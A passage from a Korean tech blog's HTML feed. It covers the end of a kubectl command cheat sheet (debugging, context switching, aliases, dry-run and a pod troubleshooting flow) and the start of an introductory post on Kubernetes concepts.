kubectl debug &lt;span class=&quot;token parameter variable&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--image&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;busybox &lt;span class=&quot;token parameter variable&quot;&gt;--target&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;container&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 네임스페이스 이벤트 모아보기&lt;/span&gt;
kubectl get events --sort-by&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;.lastTimestamp&apos;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;ns&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;자주 만나는 에러 3종 대응표&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상태&lt;/th&gt;
&lt;th&gt;원인 후보&lt;/th&gt;
&lt;th&gt;첫 명령&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Pending&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;스케줄링 실패 · 리소스 부족&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl describe pod &amp;lt;name&gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;CrashLoopBackOff&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;앱이 시작 직후 죽음&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl logs --previous &amp;lt;name&gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ImagePullBackOff&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;이미지 없음 · 레지스트리 권한 부족&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl describe pod &amp;lt;name&gt;&lt;/code&gt; (Events)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;패턴은 동일합니다. &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;describe&lt;/code&gt;로 Events 보고 → 필요하면 &lt;code class=&quot;language-text&quot;&gt;logs --previous&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. 컨텍스트 &amp;#x26; 네임스페이스 — 여러 클러스터 다룰 때&lt;/h2&gt;
&lt;p&gt;클러스터가 여러 개(dev·staging·prod)일 때 필수입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 현재 컨텍스트 / 전체 컨텍스트&lt;/span&gt;
kubectl config current-context
kubectl config get-contexts

&lt;span class=&quot;token comment&quot;&gt;# 컨텍스트 전환&lt;/span&gt;
kubectl config use-context prod-cluster

&lt;span class=&quot;token comment&quot;&gt;# 현재 컨텍스트의 기본 네임스페이스 변경&lt;/span&gt;
kubectl config set-context &lt;span class=&quot;token parameter variable&quot;&gt;--current&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--namespace&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;production&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;강력 추천: kubectx / kubens&lt;/h3&gt;
&lt;p&gt;매번 긴 명령어 치기 귀찮으면 &lt;a href=&quot;https://github.com/ahmetb/kubectx&quot;&gt;kubectx·kubens&lt;/a&gt;를 설치하세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 컨텍스트 전환&lt;/span&gt;
kubectx prod

&lt;span class=&quot;token comment&quot;&gt;# 네임스페이스 전환&lt;/span&gt;
kubens production&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;대화형 선택(fzf 연동)도 되고, 몇 글자 입력하면 자동완성됩니다. 실무에선 사실상 표준입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;생산성 팁 4가지&lt;/h2&gt;
&lt;h3&gt;1) alias 세팅&lt;/h3&gt;
&lt;p&gt;가장 효과 큰 한 줄입니다. 셸 rc 파일(&lt;code class=&quot;language-text&quot;&gt;~/.bashrc&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;~/.zshrc&lt;/code&gt;)에 추가하세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;alias&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;kubectl
&lt;span class=&quot;token builtin class-name&quot;&gt;alias&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;kg&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;kubectl get&apos;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;alias&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;kd&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;kubectl describe&apos;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;alias&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;kl&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;kubectl logs&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2) 자동완성 활성화&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# bash&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;kubectl completion &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;source &amp;lt;(kubectl completion bash)&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt; ~/.bashrc
complete &lt;span class=&quot;token parameter variable&quot;&gt;-F&lt;/span&gt; __start_kubectl k   &lt;span class=&quot;token comment&quot;&gt;# alias에도 자동완성&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# zsh&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;kubectl completion &lt;span class=&quot;token function&quot;&gt;zsh&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3) &lt;code class=&quot;language-text&quot;&gt;-o jsonpath&lt;/code&gt; — 원하는 필드만 뽑기&lt;/h3&gt;
&lt;p&gt;스크립트에서 자주 쓰는 패턴입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 모든 Pod 이름&lt;/span&gt;
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;jsonpath&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;{.items[*].metadata.name}&apos;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Pod별 노드 확인&lt;/span&gt;
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;jsonpath&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;{range .items[*]}{.metadata.name}{&quot;\t&quot;}{.spec.nodeName}{&quot;\n&quot;}{end}&apos;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 이미지 목록&lt;/span&gt;
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;jsonpath&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;{.items[*].spec.containers[*].image}&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;4) 드라이런 + 서버사이드 검증&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 클라이언트 측 검증 (빠름)&lt;/span&gt;
kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; app.yaml --dry-run&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;client

&lt;span class=&quot;token comment&quot;&gt;# 서버 측 검증 (admission webhook까지 검증됨, 더 정확)&lt;/span&gt;
kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; app.yaml --dry-run&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;server&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;CI/CD에 &lt;code class=&quot;language-text&quot;&gt;--dry-run=server&lt;/code&gt;를 끼워두면 배포 사고를 크게 줄일 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 시나리오: &quot;Pod가 안 뜹니다&quot;&lt;/h2&gt;
&lt;p&gt;입문자들이 가장 많이 겪는 상황. 순서만 정리하면 90%는 해결됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/6c707ec2cada030227dddf0cfdb32ab3/64756/diagram-debug-flow.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACN0lEQVR42h2S246bMBCGeYJ2N+GQmFMwxiewCYeAMRCHTbJSG6l70/d/lnorzYzm5pv5/9E4LhBuPgVwzMhE5C2lXUD7iExQGNo9YqoPaAB4CskUUR2x2Vbbg0KBYnT8UOblRqubujyX+dX1M5SjaO9qeY3Li5TLCaucTDnTBV9sIKZzOmVYATQ4PhAt7AY2STZLqnqxlmSAWQNhj9CIrRyqKV8quVXyxoUh1UyrBdMJwIvjRvVRfOTNp4s0gHU3zKI3GW4yusnhC1WPqFhOza/G/GXDK6A67g3q7wFTPuycfXL2sU5KE5UGoJbIGZVzhrsYa1huCZ5DqE7ynonbAY4BVgFXqVxjsbhp49j0yOrRq40IdwVtCtYVvEvxCtk9588TNSG/hXwL2RbgKSiVVyqXjd6pddxT69E14FefmRj3pOypGHDVWwaVn6h8JuRq4Yh/AHoLCuXx0eNqT8ddena8rPPZeuAm4LeYXuh/mIghoyYvnzl7JMUKmLFrATUeGj02ut/wsEtqx4d9wM2x2g7WIR3KWlWNZvVoN1vNOX/ExXIk1wM1vnWHBqvZF9rWbziAA7r8ZvpPJO8pHdvByHah/FLwTfZfkN7DbAJkzc6fqXha+CB0IJeDnN8S6dgHOoo5lCsQayR0etZ42qDeoukj7+6n2tjDxvKaNhuo5h3u32n/kzQ/ivNPCwP7K3wKSx1VS/zNr0l9jeorsBO5Bmw6UnXAo19cXNTtUbfL27e83ReX96T+B2Efemp+H7pCAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/6c707ec2cada030227dddf0cfdb32ab3/a1b3b/diagram-debug-flow.webp 215w,
/static/6c707ec2cada030227dddf0cfdb32ab3/fc700/diagram-debug-flow.webp 430w,
/static/6c707ec2cada030227dddf0cfdb32ab3/521f7/diagram-debug-flow.webp 860w,
/static/6c707ec2cada030227dddf0cfdb32ab3/cbd37/diagram-debug-flow.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/6c707ec2cada030227dddf0cfdb32ab3/f7886/diagram-debug-flow.png 215w,
/static/6c707ec2cada030227dddf0cfdb32ab3/bc750/diagram-debug-flow.png 430w,
/static/6c707ec2cada030227dddf0cfdb32ab3/3e3fe/diagram-debug-flow.png 860w,
/static/6c707ec2cada030227dddf0cfdb32ab3/64756/diagram-debug-flow.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/6c707ec2cada030227dddf0cfdb32ab3/3e3fe/diagram-debug-flow.png&apos; alt=&apos;Pod 장애 디버깅 5단계 플로우 — get → describe → logs --previous → events → top nodes&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Pod 장애 디버깅 5단계 플로우 — get → describe → logs --previous → events → top nodes&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1. 현재 상태 확인&lt;/span&gt;
kubectl get pods

&lt;span class=&quot;token comment&quot;&gt;# 2. 상세 이벤트 확인 (가장 중요)&lt;/span&gt;
kubectl describe pod &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 3. 로그 확인 (컨테이너가 한 번이라도 떴다면)&lt;/span&gt;
kubectl logs &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
kubectl logs &lt;span class=&quot;token parameter variable&quot;&gt;--previous&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# 직전에 죽은 기록&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 4. 네임스페이스 전체 이벤트 스캔&lt;/span&gt;
kubectl get events --sort-by&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;.lastTimestamp&apos;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;ns&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 5. 노드 상태 확인&lt;/span&gt;
kubectl &lt;span class=&quot;token function&quot;&gt;top&lt;/span&gt; nodes
kubectl describe &lt;span class=&quot;token function&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;node-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 흐름은 &lt;strong&gt;어떤 장애든 공통&lt;/strong&gt;입니다. 외워두시면 당황하지 않습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. kubectl을 매번 풀네임으로 치는 게 너무 귀찮습니다.&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;alias k=kubectl&lt;/code&gt; 한 줄이 시작입니다. 여기에 자동완성까지 붙이면 타이핑이 체감상 1/3로 줄어듭니다. &lt;code class=&quot;language-text&quot;&gt;kubectx&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;kubens&lt;/code&gt;까지 붙이면 사실상 완성이라고 봅니다.&lt;/p&gt;
&lt;h3&gt;Q. 명령형(&lt;code class=&quot;language-text&quot;&gt;create&lt;/code&gt;)과 선언형(&lt;code class=&quot;language-text&quot;&gt;apply&lt;/code&gt;) 중 뭘 써야 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;운영은 무조건 선언형(&lt;code class=&quot;language-text&quot;&gt;apply&lt;/code&gt;)&lt;/strong&gt;입니다. YAML을 Git에 두고 &lt;code class=&quot;language-text&quot;&gt;kubectl apply -f&lt;/code&gt; 하나로만 배포하면 히스토리·리뷰·롤백이 모두 Git 기반으로 정리됩니다. 명령형은 일회성 실험이나 빠른 리소스 생성 시에만 사용하세요.&lt;/p&gt;
&lt;h3&gt;Q. 여러 클러스터를 자주 오갑니다. 실수로 운영에 배포할까봐 걱정입니다.&lt;/h3&gt;
&lt;p&gt;세 가지를 추천합니다. (1) &lt;code class=&quot;language-text&quot;&gt;kube-ps1&lt;/code&gt;로 셸 프롬프트에 현재 컨텍스트 표시, (2) 운영 컨텍스트는 이름을 &lt;code class=&quot;language-text&quot;&gt;🔴 prod&lt;/code&gt; 같이 경고 이모지로 시각화, (3) &lt;code class=&quot;language-text&quot;&gt;kubectl apply&lt;/code&gt;에 &lt;code class=&quot;language-text&quot;&gt;--context=prod&lt;/code&gt; 명시적으로 추가. 눈으로 한 번 더 확인하는 장치를 만들어두는 게 안전합니다.&lt;/p&gt;
&lt;h3&gt;Q. &lt;code class=&quot;language-text&quot;&gt;kubectl exec&lt;/code&gt;가 안 먹힙니다.&lt;/h3&gt;
&lt;p&gt;두 가지 가능성이 큽니다. (1) 이미지에 shell이 없음(예: distroless) → &lt;code class=&quot;language-text&quot;&gt;kubectl debug&lt;/code&gt;로 사이드카 진입, (2) Pod가 &lt;code class=&quot;language-text&quot;&gt;Running&lt;/code&gt; 상태가 아님 → 먼저 &lt;code class=&quot;language-text&quot;&gt;describe&lt;/code&gt;로 상태 확인. shell 없는 프로덕션 이미지는 보안상 좋은 선택이지만, 디버깅할 땐 &lt;code class=&quot;language-text&quot;&gt;debug&lt;/code&gt; 명령이 답입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 다음 단계&lt;/h2&gt;
&lt;p&gt;kubectl 명령어를 한 번에 다 외울 필요는 없습니다. &lt;strong&gt;자주 쓰는 패턴부터 손에 붙이면&lt;/strong&gt; 나머지는 자연스럽게 따라옵니다. 오늘 정리한 5개 카테고리만 기억해도 충분합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;조회&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;get&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;describe&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;logs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;배포&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;apply&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;delete&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;롤아웃&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;rollout status/undo/restart&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;디버깅&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;exec&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;port-forward&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;describe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;컨텍스트&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;config use-context&lt;/code&gt; · kubectx·kubens&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;다음 편에서는 &lt;strong&gt;Helm으로 K8S 패키지 관리하기&lt;/strong&gt;를 다룰 예정입니다. YAML이 수백 줄로 불어나기 전에 Helm을 익혀두면, 환경별 설정 분리·버전 관리·손쉬운 롤백이 기본으로 따라옵니다.&lt;/p&gt;
&lt;h3&gt;시리즈 다음 주제&lt;/h3&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Helm으로 K8S 패키지 관리하기&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HPA·VPA로 오토스케일링 구성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Ingress + cert-manager로 HTTPS 자동화&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; ArgoCD로 GitOps 배포 파이프라인&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; kustomize로 환경별 YAML 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여러분은 kubectl을 쓰면서 가장 자주 헷갈리거나 &quot;이 명령어 몰랐으면 고생했겠다&quot; 싶었던 게 있나요? 댓글로 공유해주시면 다음 포스팅에 반영하겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[K8S(쿠버네티스)에 대한 이해 — Docker만으론 부족한 이유부터 핵심 개념까지]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "Docker로 컨테이너 띄우는 건 익숙한데, 쿠버네티스는 자꾸 미뤄두게 됩니다." 솔직히 저도 그랬습니다.  한 줄이면 서비스가 뜨는데, 갑자기 Pod, Deployment, Service, Ingress…]]></description><link>https://blog.javapark.kr/k8s-understanding/</link><guid isPermaLink="false">https://blog.javapark.kr/k8s-understanding/</guid><pubDate>Sat, 18 Apr 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Docker로 컨테이너 띄우는 건 익숙한데, 쿠버네티스는 자꾸 미뤄두게 됩니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 그랬습니다. &lt;code class=&quot;language-text&quot;&gt;docker run&lt;/code&gt; 한 줄이면 서비스가 뜨는데, 갑자기 Pod, Deployment, Service, Ingress… 용어부터 쏟아지니 부담스럽습니다. 공식 문서를 열면 YAML이 수십 줄씩 나오고, &quot;이걸 꼭 써야 하나&quot; 싶은 순간도 많습니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;K8S는 &quot;컨테이너를 운영 수준으로 다루기 위한 운영체제&quot;입니다.&lt;/strong&gt; 단일 서버에서 컨테이너 몇 개 돌릴 때는 필요 없지만, 장애 복구·스케일링·배포 자동화가 필요한 순간부터는 사실상 표준입니다. 오늘은 쿠버네티스를 처음 접하는 분들을 위해, 개념과 핵심 오브젝트를 실전 감각으로 정리해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;K8S는 결국 뭔가? — 한 줄 정의&lt;/h2&gt;
&lt;p&gt;쿠버네티스(Kubernetes, 줄여서 K8s)는 &lt;strong&gt;컨테이너화된 애플리케이션의 배포·확장·운영을 자동화하는 오픈소스 플랫폼&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;비유하자면 이렇습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker&lt;/strong&gt;: 물건을 담는 &lt;strong&gt;컨테이너(박스)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker Compose&lt;/strong&gt;: 한 창고 안에서 박스를 정리하는 &lt;strong&gt;정리 매뉴얼&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kubernetes&lt;/strong&gt;: 여러 창고를 관리하며, 박스를 옮기고·복제하고·망가진 걸 다시 채워 넣는 &lt;strong&gt;자동화된 물류 시스템&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;혼자 쓰는 창고(단일 서버)라면 매뉴얼만 있어도 충분합니다. 하지만 창고가 여러 개(다중 서버)가 되고, 박스가 갑자기 쏟아져 들어오고(트래픽), 한 창고가 불이 나도 멈추면 안 되는(장애 복구) 순간부터는 K8S 같은 시스템이 필요해집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;K8S가 해결하는 문제 5가지&lt;/h2&gt;
&lt;p&gt;쿠버네티스가 왜 나왔는지 감을 잡는 가장 빠른 방법은, &lt;strong&gt;K8S 없이 운영할 때 생기는 문제&lt;/strong&gt;를 보는 겁니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;문제 상황&lt;/th&gt;
&lt;th&gt;K8S 없이&lt;/th&gt;
&lt;th&gt;K8S 사용 시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;트래픽이 갑자기 2배&lt;/td&gt;
&lt;td&gt;서버 수동 증설, 로드밸런서 재설정&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;replicas&lt;/code&gt; 값 변경 또는 HPA 자동 증설&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;컨테이너가 갑자기 죽음&lt;/td&gt;
&lt;td&gt;모니터링 → 수동 재시작&lt;/td&gt;
&lt;td&gt;자동 재시작 + 자동 스케줄링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;무중단 배포&lt;/td&gt;
&lt;td&gt;Blue-Green 직접 구성, 스크립트 관리&lt;/td&gt;
&lt;td&gt;RollingUpdate 전략 기본 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서버 한 대가 장애&lt;/td&gt;
&lt;td&gt;해당 서버 위 컨테이너 전부 사라짐&lt;/td&gt;
&lt;td&gt;다른 노드로 자동 재배치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;환경변수·설정 관리&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;.env&lt;/code&gt; 파일 복사·보안 관리 수동&lt;/td&gt;
&lt;td&gt;ConfigMap / Secret으로 표준화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;핵심 키워드는 &lt;strong&gt;자가 치유(self-healing)&lt;/strong&gt;와 &lt;strong&gt;선언적 운영(declarative)&lt;/strong&gt;입니다. &quot;이런 상태를 원한다&quot;고 YAML로 선언하면, K8S가 알아서 그 상태에 맞춰줍니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;핵심 컴포넌트 — Control Plane과 Worker Node&lt;/h2&gt;
&lt;p&gt;K8S 클러스터는 크게 &lt;strong&gt;Control Plane(두뇌)&lt;/strong&gt;과 &lt;strong&gt;Worker Node(실행 영역)&lt;/strong&gt; 두 영역으로 나뉩니다.&lt;/p&gt;
